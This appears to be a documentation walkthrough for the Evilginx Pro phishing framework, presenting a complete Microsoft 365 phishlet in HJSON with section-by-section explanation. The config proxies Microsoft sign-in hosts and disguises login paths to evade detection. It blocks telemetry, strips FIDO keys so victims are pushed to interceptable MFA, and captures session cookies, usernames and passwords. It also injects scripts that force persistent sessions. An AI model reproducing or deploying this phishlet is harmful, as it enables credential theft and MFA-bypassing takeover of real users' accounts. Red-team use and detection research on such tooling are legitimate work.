Example: Microsoft 365 phishlet walkthrough
This page walks through a complete real-world phishlet for Microsoft 365 sign-in, section by section. Read it alongside the Phishlets 2.0 overview — every construct used here is documented in detail elsewhere in this section.
The walkthrough is structured the way the file is written: top to bottom, one phishlet section per heading. For each block we show the HJSON snippet, what it does, and why the phishlet author put it there.
The full M365 phishlet:
{
redirect_url: "https://office.com"
landing_url: "https://login.microsoftonline.com/?whr=${tenant}"
params: [
{ name: "tenant", value: "", required: false }
]
options: {
rewrite: {
global: {
auto_detect_urls: true
}
}
}
proxy: {
hosts: [
{ hostname: "login.microsoftonline.com" }
{ hostname: "login.microsoft.com" }
{ hostname: "www.office.com" }
{ hostname: "aadcdn.msftauth.net", proxy_subdomain: "cdn-1" }
{ hostname: "aadcdn.msauth.net", proxy_subdomain: "cdn-2" }
{ hostname: "logincdn.msauth.net", proxy_subdomain: "cdn-3" }
{ hostname: "aadcdn.msftauthimages.net", proxy_subdomain: "cdn-4" }
{ hostname: "login.live.com", proxy_subdomain: "sso" }
{ hostname: "browser.events.data.microsoft.com", proxy_subdomain: "events" }
]
}
rewrite: {
urls: [
{ trigger: { hostname: "login.microsoftonline.com", "path": "/" }, rewrite: { path: "/${rewrite_id}/login" } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/oauth2/v2.0/authorize" }, rewrite: { path: "/o/auth", query: { v: "${rewrite_id}" } }, options: { exclude_keys: ["client_id"] } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/login" }, rewrite: { path: "/o/l/${rewrite_id}" } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/SAS/ProcessAuth" }, rewrite: { path: "/o/s/${rewrite_id}" } }
]
requests: [
]
responses: [
{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, locator: { scope: "body", format: "raw", match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"'}, rewrite: { value: '""' } }
{ trigger: { hostname: "login.microsoft.com", path: "*" }, locator: { scope: "body", format: "raw", match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"'}, rewrite: { value: '""' } }
{ trigger: { hostname: "aadcdn.msftauth.net", path: "*" }, locator: { scope: "body", format: "raw", match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"'}, rewrite: { value: '\'\'' } }
{ trigger: { hostname: "aadcdn.msftauthimages.net", path: "*", mime_types: ["text/css"] }, locator: { scope: "body", format: "raw", match_value: '~\\.cloudfront\\.net'}, rewrite: { value: '.local' } }
{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, chain: [
{ locator: { scope: "body", format: "raw", match_value: '~\\$Config=({.*});'}, rewrite: { value: '$Config=${1};', chained_value: '${1}' } }
{ locator: { scope: "body", format: "json", match_key: 'arrUserProofs.[*].authMethodId', match_value: 'FidoKey'}, rewrite: { action: 'delete', key: '@-1' } }
]}
{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, chain: [
{ locator: { scope: "body", format: "raw", match_value: '~\\$Config=({.*});'}, rewrite: { value: '$Config=${1};', chained_value: '${1}' } }
{ locator: { scope: "body", format: "json", match_key: 'arrUserProofs.[0]', match_value: '*'}, rewrite: { action: 'update', key: '@.isDefault', value: 'true' } }
]}
]
}
capture: {
cookies: [
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' }, cookie: { name: 'ESTSAUTH', match_value: '*' }, options: { required: true, allow_overwrite: true } }
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' }, cookie: { name: 'ESTSAUTHPERSISTENT', match_value: '*' }, options: { required: true, allow_overwrite: true } }
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' }, cookie: { name: 'SignInStateCookie', match_value: '*' }, options: { required: true, allow_overwrite: true } }
]
tokens: {
requests: [
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/login" }, locator: { scope: "body", format: "form", match_key: 'login', match_value: '*' }, token: { name: "#username" }, options: { required: false, allow_overwrite: true } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/login" }, locator: { scope: "body", format: "form", match_key: 'passwd', match_value: '*' }, token: { name: "#password" }, options: { required: false, allow_overwrite: true } }
]
}
}
intercept: {
requests: [
{ trigger: { hostname: "browser.events.data.microsoft.com", "path": "*" }, response: { status: 403, mime_type: "application/json" } }
]
}
inject: {
javascript: [
{ trigger: { hostname: "login.microsoftonline.com", "path": "/" }, script: { location: "body_bottom", data: "@signin.js" } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/oauth2/v2.0/authorize" }, script: { location: "body_bottom", data: "@signin.js" } }
{ trigger: { hostname: "login.microsoftonline.com", "path": "/common/SAS/ProcessAuth" }, script: { location: "head", data: "@rememberme.js" } }
]
}
}
1. Root and parameters
{
redirect_url: "https://office.com"
landing_url: "https://login.microsoftonline.com/?whr=${tenant}"
params: [
{ name: "tenant", value: "", required: false }
]
/* … */
}
redirect_url— once the proxy has captured everyrequired: truecookie/token from the session, it redirects the visitor tooffice.com. From the visitor's perspective they "logged in and landed where they expected to."landing_url— the URL the proxy loads when the visitor follows the lure. The?whr=${tenant}query forces Microsoft to skip the email-discovery step and present the sign-in form directly for a specific tenant (the value of thetenantparameter).params.tenant— declares the${tenant}placeholder. It's optional, so if the operator doesn't set it the?whr=parameter ends up empty (and the visitor sees the generic Microsoft sign-in page). For targeted engagements the operator would set it on the lure, e.g.phishlets set m365 params tenant=victimcorp.com.
Notice the phishlet omits required_ver. It will load on any Evilginx Pro build that supports Phishlets 2.0.
See Params for the parameter mechanics and resolution order.
2. Options
options: {
rewrite: {
global: {
auto_detect_urls: true
}
}
}
Microsoft's sign-in flow loads assets from a sprawling set of hostnames that change over time. Enabling auto_detect_urls lets the proxy notice unfamiliar URLs in HTML/JSON responses and dynamically add their hostnames to the proxied set so the visitor's browser doesn't escape the proxy when it goes to fetch them.
auto_rewrite_urls is left at its default (true), so detected and explicitly-listed hostnames are both rewritten as they appear in proxied content. See Options.
3. Proxied hosts
proxy: {
hosts: [
{ hostname: "login.microsoftonline.com" }
{ hostname: "login.microsoft.com" }
{ hostname: "www.office.com" }
{ hostname: "aadcdn.msftauth.net", proxy_subdomain: "cdn-1" }
{ hostname: "aadcdn.msauth.net", proxy_subdomain: "cdn-2" }
{ hostname: "logincdn.msauth.net", proxy_subdomain: "cdn-3" }
{ hostname: "aadcdn.msftauthimages.net", proxy_subdomain: "cdn-4" }
{ hostname: "login.live.com", proxy_subdomain: "sso" }
{ hostname: "browser.events.data.microsoft.com", proxy_subdomain: "events" }
]
}
The hosts fall into four groups:
- Authentication front-doors —
login.microsoftonline.com,login.microsoft.com,www.office.com. Noproxy_subdomainis set, so the proxy uses each hostname's first label (login,loginagain — auto-incremented tologin1, thenwww) on the phishing domain. - CDN hosts for sign-in assets — explicitly assigned
cdn-1throughcdn-4. Grouping them under a consistentcdn-Nscheme keeps the rewritten host names short and visually consistent. - SSO —
login.live.comfor cross-Microsoft sign-on, surfaced assso.<phishing-domain>. - Telemetry —
browser.events.data.microsoft.com, given theeventssubdomain. This host is intentionally proxied (rather than left to escape) only so the phishlet can intercept and block its requests later — see §7 Intercept.
See Proxy for subdomain assignment rules.
4. URL rewrites
rewrite: {
urls: [
{ trigger: { hostname: "login.microsoftonline.com", path: "/" },
rewrite: { path: "/${rewrite_id}/login" } }
{ trigger: { hostname: "login.microsoftonline.com",
path: "/common/oauth2/v2.0/authorize" },
rewrite: { path: "/o/auth", query: { v: "${rewrite_id}" } },
options: { exclude_keys: ["client_id"] } }
{ trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
rewrite: { path: "/o/l/${rewrite_id}" } }
{ trigger: { hostname: "login.microsoftonline.com", path: "/common/SAS/ProcessAuth" },
rewrite: { path: "/o/s/${rewrite_id}" } }
]
/* … */
}
Every entry here disguises a well-known Microsoft sign-in path with a non-canonical one. Browsers and security tools commonly compare URLs against lists of known login endpoints (/common/oauth2/v2.0/authorize is a strong signal that the visitor is on a Microsoft login page). By replacing those paths with neutral ones (/o/auth, /o/l/N, …), the phishlet reduces the likelihood of being flagged.
A few details worth noting:
- The
${rewrite_id}placeholder is required in eitherpathorqueryfor URL rewrites. Each rule above places it somewhere. - The OAuth-authorize rule pins
${rewrite_id}in the query rather than the path so the displayed URL stays at/o/auth. The original path'sclient_idquery parameter is preserved viaexclude_keysbecause Microsoft's client-side JavaScript reads it back from the URL on the rendered page; hiding it would break the flow. - The other three rules put
${rewrite_id}in the path, treating it as a random session-scoped path segment.
See Rewrite → URLs.
5. Response rewrites
rewrite.requests is left empty for M365 (requests: [ ]) — Microsoft's authentication flow doesn't need any outgoing-request modifications. The interesting work happens on the response side.
5a. Stripping telemetry URLs from response bodies
{ trigger: { hostname: "login.microsoftonline.com", path: "*" },
locator: { scope: "body", format: "raw",
match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"' },
rewrite: { value: '""' } }
{ trigger: { hostname: "login.microsoft.com", path: "*" },
locator: { scope: "body", format: "raw",
match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"' },
rewrite: { value: '""' } }
{ trigger: { hostname: "aadcdn.msftauth.net", path: "*" },
locator: { scope: "body", format: "raw",
match_value: '~"https://[^\\.]+\\.events\\.data\\.microsoft\\.com[^"]*"' },
rewrite: { value: "''" } }
Three near-identical rules — one per host that emits Microsoft telemetry references. Each finds any double-quoted https://...events.data.microsoft.com... URL embedded in the response body and replaces it with an empty string literal ("" or '', matching the surrounding code style). The visitor's browser then has nothing to call out to. Combined with the explicit telemetry block in §7, this stops both the bootstrapped telemetry endpoints embedded in the JavaScript and the runtime calls themselves.
The body is parsed as raw because the response is JavaScript / HTML, not JSON. format: "raw" requires regex match_value — note the leading ~.
5b. Rewriting a CDN reference inside CSS
{ trigger: { hostname: "aadcdn.msftauthimages.net",
path: "*", mime_types: ["text/css"] },
locator: { scope: "body", format: "raw", match_value: '~\\.cloudfront\\.net' },
rewrite: { value: '.local' } }
Stylesheets served from aadcdn.msftauthimages.net contain url(...) references to a cloudfront.net host. This rule scopes the rewrite to CSS responses (mime_types: ["text/css"]) and turns .cloudfront.net into .local, neutralizing the off-proxy CDN lookup.
5c. Chained rewrites: removing FIDO as an MFA option
{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, chain: [
{ locator: { scope: "body", format: "raw",
match_value: '~\\$Config=({.*});' },
rewrite: { value: '$Config=${1};', chained_value: '${1}' } }
{ locator: { scope: "body", format: "json",
match_key: 'arrUserProofs.[*].authMethodId',
match_value: 'FidoKey' },
rewrite: { action: 'delete', key: '@-1' } }
]}
Microsoft embeds a JavaScript object literal called $Config = {...}; inside the HTML response — it holds the user's available MFA methods (arrUserProofs) and other client-side state. This rule reaches into that JSON-inside-HTML and removes FIDO security keys as an option, so the victim is forced down a more interceptable MFA path (typically authenticator-app or SMS).
How the chain works (see Rewrite → Chained rewrites):
- The first chain item runs against the raw HTML. The regex captures the JSON object literal between
$Config=and;. The replacement value ('$Config=${1};') writes the captured object back into the body unchanged — at this stage we only want to extract the JSON for the next step. Thechained_value('${1}') forwards just the captured object to the next chain item. - The second chain item runs against the extracted JSON. The JSON Path
arrUserProofs.[*].authMethodIdwalks every MFA method declared for the user, andmatch_value: 'FidoKey'narrows the matches to FIDO keys. The actiondeletewithkey: '@-1'deletes the parent object — i.e. the entire MFA method entry, not just theauthMethodIdfield.
After the second item modifies the JSON, the chain writes the result back into the body in place of the captured object.
5d. Chained rewrites: making the first MFA method the default
{ trigger: { hostname: "login.microsoftonline.com", path: "*" }, chain: [
{ locator: { scope: "body", format: "raw",
match_value: '~\\$Config=({.*});' },
rewrite: { value: '$Config=${1};', chained_value: '${1}' } }
{ locator: { scope: "body", format: "json",
match_key: 'arrUserProofs.[0]', match_value: '*' },
rewrite: { action: 'update', key: '@.isDefault', value: 'true' } }
]}
Same setup as the previous chain — extract the $Config JSON, then act on it. Here, the second chain item targets arrUserProofs.[0] (the first remaining MFA method after the previous chain removed FIDO entries) and uses update with key: '@.isDefault' to set the isDefault flag on that array element to true. Combined with §5c, this guarantees that the visitor is offered a non-FIDO MFA method preselected as the default.
'true' is the string literal Microsoft expects; the JSON Path replace operation preserves the original type, so the boolean value remains a boolean after the update.
6. Capture
6a. Cookies
capture: {
cookies: [
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' },
cookie: { name: 'ESTSAUTH', match_value: '*' },
options: { required: true, allow_overwrite: true } }
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' },
cookie: { name: 'ESTSAUTHPERSISTENT', match_value: '*' },
options: { required: true, allow_overwrite: true } }
{ trigger: { hostname: '.login.microsoftonline.com', path: '*' },
cookie: { name: 'SignInStateCookie', match_value: '*' },
options: { required: true, allow_overwrite: true } }
]
/* … */
}
Three cookies make up a successful M365 session:
ESTSAUTH— the primary session token issued after authentication.ESTSAUTHPERSISTENT— the persistent counterpart, present when the user opts to stay signed in.SignInStateCookie— sign-in state used by Microsoft to short-circuit subsequent login attempts.
All three are flagged required: true, so the proxy will not redirect the visitor to redirect_url until all three have been captured. allow_overwrite: true allows later values to replace earlier ones (the visitor may re-authenticate multiple times in a single session).
The leading dot in '.login.microsoftonline.com' ensures the trigger matches the host itself and all subdomains. Cookie-capture triggers default path to /, but this phishlet sets it explicitly to * to allow capture on any path the server uses when issuing Set-Cookie.
See Capture → Cookies.
6b. Tokens (credentials)
tokens: {
requests: [
{ trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
locator: { scope: "body", format: "form",
match_key: 'login', match_value: '*' },
token: { name: "#username" },
options: { required: false, allow_overwrite: true } }
{ trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
locator: { scope: "body", format: "form",
match_key: 'passwd', match_value: '*' },
token: { name: "#password" },
options: { required: false, allow_overwrite: true } }
]
}
Microsoft posts the sign-in form to /common/login as application/x-www-form-urlencoded data with fields login (the email/username) and passwd (the password). Two parallel rules capture each:
- The first rule extracts
loginand stores it under the reserved name#username, which Evilginx records as the session's captured username. - The second rule extracts
passwdand stores it under the reserved name#password.
Both are required: false — the session can still be considered successful (via the captured cookies in §6a) even if for some reason the credentials weren't seen on this specific request. allow_overwrite: true accepts the latest value if the visitor retries.
7. Intercept
intercept: {
requests: [
{ trigger: { hostname: "browser.events.data.microsoft.com", path: "*" },
response: { status: 403, mime_type: "application/json" } }
]
}
The proxy-listed telemetry host (§3, group 4) is intercepted here and answered with a 403 Forbidden carrying an empty application/json body. The upstream is never contacted. Combined with the response-body rewrites that strip telemetry URLs from JavaScript (§5a), the phishlet eliminates both static references to and runtime calls against Microsoft's diagnostic endpoints.
See Intercept.
8. Inject
inject: {
javascript: [
{ trigger: { hostname: "login.microsoftonline.com", path: "/" },
script: { location: "body_bottom", data: "@signin.js" } }
{ trigger: { hostname: "login.microsoftonline.com",
path: "/common/oauth2/v2.0/authorize" },
script: { location: "body_bottom", data: "@signin.js" } }
{ trigger: { hostname: "login.microsoftonline.com", path: "/common/SAS/ProcessAuth" },
script: { location: "head", data: "@rememberme.js" } }
]
}
Three script injections:
signin.js(loaded from the phishlet'sstatic/directory) is injected at the bottom of<body>on both the M365 landing page (/) and the OAuth authorize endpoint. Its job is typically to massage the sign-in UI — for example, tweaking the displayed tenant name or adjusting the form's submit behavior.rememberme.jsis injected into<head>on the auth-processing endpoint (/common/SAS/ProcessAuth). It runs before page content renders, which is where you want logic that needs to hook the page lifecycle as early as possible — e.g. flipping the "keep me signed in" checkbox so aESTSAUTHPERSISTENTcookie is issued.
The bodies of those scripts are not shown in config.hjson — they live as plain JavaScript files in the phishlet's static/ directory and are loaded thanks to the @ prefix on data.
See Inject.
What's next
This phishlet does not use evilpuppet. Microsoft's flow can be driven entirely through HTTP rewrites; no headless-browser automation is required. For phishlets that do need it, see Evilpuppet.
For the full reference of every option used above, return to the Phishlets 2.0 overview.